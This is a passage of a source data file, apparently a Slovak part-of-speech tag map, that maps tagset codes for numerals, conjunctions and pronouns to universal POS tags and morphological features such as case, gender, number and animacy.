"NSip5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"NSip6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"NSip7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Noun|Number=Plur"},
"NSis1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NSis2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NSis3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NSis4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NSis5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NSis6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NSis7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Noun|Number=Sing"},
"NUfp1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUfp2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUfp3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUfp4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUfp5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUfp6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUfp7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Def|Number=Plur"},
"NUip1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUip2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUip3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUip4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUip5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUip6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUip7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUis1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUis2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUis3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUis4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUis5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUis6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUis7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Def|Number=Sing"},
"NUmp1": {POS: NUM, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUmp2": {POS: NUM, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUmp3": {POS: NUM, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUmp4": {POS: NUM, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUmp5": {POS: NUM, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUmp6": {POS: NUM, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUmp7": {POS: NUM, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Def|Number=Plur"},
"NUnp1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUnp2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUnp3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUnp4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUnp5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUnp6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUnp7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Def|Number=Plur"},
"NUns1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Def|Number=Sing"},
"NUns2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Def|Number=Sing"},
"NUns3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Def|Number=Sing"},
"NUns4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Def|Number=Sing"},
"NUns5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Def|Number=Sing"},
"NUns6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Def|Number=Sing"},
"NUns7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Def|Number=Sing"},
"O": {POS: CCONJ, "morph": "_"},
"OY": {POS: CCONJ, "morph": "Mood=Cnd"},
"PAfp1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfp2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfp3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfp4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfp5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfp6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfp7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAfs1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAfs2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAfs3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAfs4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAfs5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAfs6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAfs7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAip1": {POS: PRON, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAip2": {POS: PRON, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAip3": {POS: PRON, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAip4": {POS: PRON, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAip5": {POS: PRON, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAip6": {POS: PRON, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAip7": {POS: PRON, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAis1": {POS: PRON, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAis2": {POS: PRON, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAis3": {POS: PRON, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAis4": {POS: PRON, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAis5": {POS: PRON, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAis6": {POS: PRON, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAis7": {POS: PRON, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAmp1": {POS: PRON, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAmp2": {POS: PRON, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAmp3": {POS: PRON, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAmp4": {POS: PRON, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAmp5": {POS: PRON, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAmp6": {POS: PRON, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAmp7": {POS: PRON, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAms1": {POS: PRON, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAms2": {POS: PRON, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAms3": {POS: PRON, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAms4": {POS: PRON, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAms5": {POS: PRON, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAms6": {POS: PRON, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAms7": {POS: PRON, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAnp1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAnp2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAnp3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAnp4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAnp5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAnp6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAnp7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Adj|Number=Plur|PronType=Prs"},
"PAns1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAns2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAns3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAns4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAns5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAns6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PAns7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Adj|Number=Sing|PronType=Prs"},
"PD": {POS: PRON, "morph": "MorphPos=Adv|PronType=Prs"},
"PFfp1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfp2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfp3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfp4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfp5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfp6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfp7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFfs1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFfs2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFfs3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFfs4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFfs5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFfs6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFfs7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFip1": {POS: PRON, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFip2": {POS: PRON, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFip3": {POS: PRON, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFip4": {POS: PRON, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFip5": {POS: PRON, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFip6": {POS: PRON, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFip7": {POS: PRON, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFis1": {POS: PRON, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis2": {POS: PRON, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis2g": {POS: PRON, "morph": "AdpType=Preppron|Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis3": {POS: PRON, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis4": {POS: PRON, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis4g": {POS: PRON, "morph": "AdpType=Preppron|Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis5": {POS: PRON, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis6": {POS: PRON, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFis7": {POS: PRON, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFmp1": {POS: PRON, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFmp2": {POS: PRON, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFmp3": {POS: PRON, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFmp4": {POS: PRON, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFmp5": {POS: PRON, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFmp6": {POS: PRON, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFmp7": {POS: PRON, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFms1": {POS: PRON, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms2": {POS: PRON, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms2g": {POS: PRON, "morph": "AdpType=Preppron|Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms3": {POS: PRON, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms4": {POS: PRON, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms4g": {POS: PRON, "morph": "AdpType=Preppron|Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms5": {POS: PRON, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms6": {POS: PRON, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFms7": {POS: PRON, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFnp1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFnp2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFnp3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFnp4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFnp5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFnp6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFnp7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Mix|Number=Plur|PronType=Prs"},
"PFns1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns2g": {POS: PRON, "morph": "AdpType=Preppron|Case=Gen|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns4g": {POS: PRON, "morph": "AdpType=Preppron|Case=Acc|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PFns7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Mix|Number=Sing|PronType=Prs"},
"PPhp1": {POS: PRON, "morph": "Case=Nom|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhp2": {POS: PRON, "morph": "Case=Gen|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhp3": {POS: PRON, "morph": "Case=Dat|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhp4": {POS: PRON, "morph": "Case=Acc|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhp5": {POS: PRON, "morph": "Case=Voc|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhp6": {POS: PRON, "morph": "Case=Loc|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhp7": {POS: PRON, "morph": "Case=Ins|MorphPos=Pron|Number=Plur|PronType=Prs"},
"PPhs1": {POS: PRON, "morph": "Case=Nom|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PPhs2": {POS: PRON, "morph": "Case=Gen|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PPhs3": {POS: PRON, "morph": "Case=Dat|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PPhs4": {POS: PRON, "morph": "Case=Acc|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PPhs5": {POS: PRON, "morph": "Case=Voc|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PPhs6": {POS: PRON, "morph": "Case=Loc|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PPhs7": {POS: PRON, "morph": "Case=Ins|MorphPos=Pron|Number=Sing|PronType=Prs"},
"PSfp1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfp2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfp3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfp4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfp5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfp6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfp7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Noun|Number=Plur|PronType=Prs"},
"PSfs1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSfs2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSfs3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSfs4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSfs5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSfs6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSfs7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PSns7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Noun|Number=Sing|PronType=Prs"},
"PUfp1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfp2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfp3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfp4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfp5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfp6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfp7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUfs1": {POS: PRON, "morph": "Case=Nom|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUfs2": {POS: PRON, "morph": "Case=Gen|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUfs3": {POS: PRON, "morph": "Case=Dat|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUfs4": {POS: PRON, "morph": "Case=Acc|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUfs5": {POS: PRON, "morph": "Case=Voc|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUfs6": {POS: PRON, "morph": "Case=Loc|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUfs7": {POS: PRON, "morph": "Case=Ins|Gender=Fem|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUip1": {POS: PRON, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUip2": {POS: PRON, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUip3": {POS: PRON, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUip4": {POS: PRON, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUip5": {POS: PRON, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUip6": {POS: PRON, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUip7": {POS: PRON, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUis1": {POS: PRON, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUis2": {POS: PRON, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUis3": {POS: PRON, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUis4": {POS: PRON, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUis5": {POS: PRON, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUis6": {POS: PRON, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUis7": {POS: PRON, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUmp1": {POS: PRON, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUmp2": {POS: PRON, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
